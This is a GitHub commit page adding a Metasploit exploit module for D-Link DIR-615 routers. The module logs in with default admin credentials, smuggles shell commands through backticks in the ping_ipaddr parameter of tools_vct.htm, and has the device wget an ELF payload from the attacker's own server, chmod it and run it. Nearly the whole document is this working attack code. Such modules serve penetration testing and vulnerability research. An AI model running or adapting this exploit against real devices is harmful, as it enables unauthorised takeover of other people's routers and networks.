Skip to content

Commit 22d8505

Browse files
author
m-1-k-3
committed
dir615 down and exec exploit
1 parent 0390baf commit 22d8505

File tree

1 file changed

+258
-0
lines changed

1 file changed

+258
-0
lines changed

‎modules/exploits/linux/http/dlink_dir615_up_exec.rb

Lines changed: 258 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,258 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::Remote::HttpServer
15+
include Msf::Exploit::EXE
16+
include Msf::Exploit::FileDropper
17+
18+
def initialize(info = {})
19+
super(update_info(info,
20+
'Name' => 'Dlink DIR615 Command Execution - Upload and Execute',
21+
'Description' => %q{
22+
},
23+
'Author' =>
24+
[
25+
'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module
26+
'juan vazquez' # minor help with msf module
27+
],
28+
'License' => MSF_LICENSE,
29+
'References' =>
30+
[
31+
[ 'BID', '57882' ],
32+
[ 'EDB', '24477' ],
33+
[ 'OSVDB', '90174' ],
34+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-008' ]
35+
],
36+
'DisclosureDate' => 'Feb 07 2013',
37+
'Privileged' => true,
38+
'Platform' => ['linux','unix'],
39+
'Payload' =>
40+
{
41+
'DisableNops' => true
42+
},
43+
'Targets' =>
44+
[
45+
[ 'CMD',
46+
{
47+
'Arch' => ARCH_CMD,
48+
'Platform' => 'unix'
49+
}
50+
],
51+
[ 'Linux mipsel Payload',
52+
{
53+
'Arch' => ARCH_MIPSLE,
54+
'Platform' => 'linux'
55+
}
56+
],
57+
],
58+
'DefaultTarget' => 1,
59+
))
60+
61+
register_options(
62+
[
63+
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
64+
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
65+
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
66+
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
67+
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
68+
], self.class)
69+
end
70+
71+
72+
def request(cmd,user,pass)
73+
#http://IP/tools_vct.htm?page=tools_vct&hping=0&ping_ipaddr=1.1.1.1%60COMMAND%60&ping6_ipaddr=
74+
cmd = Rex::Text.uri_encode(cmd)
75+
76+
begin
77+
res = send_request_cgi({
78+
'uri' => @uri,
79+
'method' => 'GET',
80+
'encode_params' => false,
81+
'vars_get' => {
82+
"page" => "tools_vct",
83+
"hping" => "0",
84+
"ping_ipaddr" => "1.1.1.1%60#{cmd}%60",
85+
"ping6_ipaddr" => ""
86+
}
87+
})
88+
return res
89+
rescue ::Rex::ConnectionError
90+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
91+
return nil
92+
end
93+
end
94+
95+
def exploit
96+
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
97+
@uri = '/tools_vct.htm'
98+
user = datastore['USERNAME']
99+
pass = datastore['PASSWORD']
100+
@timeout = 5
101+
102+
#
103+
# testing Login
104+
#
105+
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
106+
begin
107+
res= send_request_cgi({
108+
'uri' => '/login.htm',
109+
'method' => 'POST',
110+
'vars_post' => {
111+
"page" => "login",
112+
"submitType" => "0",
113+
"identifier" => "",
114+
"sel_userid" => user,
115+
"userid" => "",
116+
"passwd" => pass,
117+
"captchapwd" => ""
118+
}
119+
})
120+
if res.nil? or res.code == 404
121+
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
122+
end
123+
if res.body =~ /\<script\ langauge\=\"javascript\"\>showMainTabs\(\"setup\"\)\;\<\/script\>/
124+
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
125+
else
126+
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
127+
end
128+
rescue ::Rex::ConnectionError
129+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
130+
end
131+
132+
if target.name =~ /CMD/
133+
if not (datastore['CMD'])
134+
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
135+
end
136+
cmd = payload.encoded
137+
res = request(cmd,user,pass)
138+
if (!res)
139+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
140+
else
141+
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
142+
end
143+
return
144+
end
145+
146+
#thx to Juan for his awesome work on the mipsel elf support
147+
@pl = generate_payload_exe
148+
@elf_sent = false
149+
150+
#
151+
# start our server
152+
#
153+
resource_uri = '/' + downfile
154+
155+
if (datastore['DOWNHOST'])
156+
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
157+
else
158+
#do not use SSL
159+
if datastore['SSL']
160+
ssl_restore = true
161+
datastore['SSL'] = false
162+
end
163+
164+
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
165+
srv_host = Rex::Socket.source_address(rhost)
166+
else
167+
srv_host = datastore['SRVHOST']
168+
end
169+
170+
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
171+
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
172+
start_service({'Uri' => {
173+
'Proc' => Proc.new { |cli, req|
174+
on_request_uri(cli, req)
175+
},
176+
'Path' => resource_uri
177+
}})
178+
179+
datastore['SSL'] = true if ssl_restore
180+
end
181+
182+
#
183+
# download payload
184+
#
185+
print_status("#{rhost}:#{rport} - Asking the D-Link device to download #{service_url}")
186+
#this filename is used to store the payload on the device
187+
filename = rand_text_alpha_lower(8)
188+
189+
#not working if we send all command together -> lets take three requests
190+
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
191+
res = request(cmd,user,pass)
192+
if (!res)
193+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
194+
end
195+
196+
# wait for payload download
197+
if (datastore['DOWNHOST'])
198+
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload")
199+
select(nil, nil, nil, datastore['HTTP_DELAY'])
200+
else
201+
wait_linux_payload
202+
end
203+
register_file_for_cleanup("/tmp/#{filename}")
204+
205+
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
206+
select(nil, nil, nil, @timeout)
207+
208+
#
209+
# chmod
210+
#
211+
cmd = "chmod 777 /tmp/#{filename}"
212+
print_status("#{rhost}:#{rport} - Asking the D-Link device to chmod #{downfile}")
213+
res = request(cmd,user,pass)
214+
if (!res)
215+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
216+
end
217+
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
218+
select(nil, nil, nil, @timeout)
219+
220+
#
221+
# execute
222+
#
223+
cmd = "/tmp/#{filename}"
224+
print_status("#{rhost}:#{rport} - Asking the D-Link device to execute #{downfile}")
225+
res = request(cmd,user,pass)
226+
if (!res)
227+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
228+
end
229+
230+
end
231+
232+
# Handle incoming requests from the server
233+
def on_request_uri(cli, request)
234+
#print_status("on_request_uri called: #{request.inspect}")
235+
if (not @pl)
236+
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
237+
return
238+
end
239+
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
240+
@elf_sent = true
241+
send_response(cli, @pl)
242+
end
243+
244+
# wait for the data to be sent
245+
def wait_linux_payload
246+
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
247+
248+
waited = 0
249+
while (not @elf_sent)
250+
select(nil, nil, nil, 1)
251+
waited += 1
252+
if (waited > datastore['HTTP_DELAY'])
253+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
254+
end
255+
end
256+
end
257+
258+
end

0 commit comments

Comments
 (0)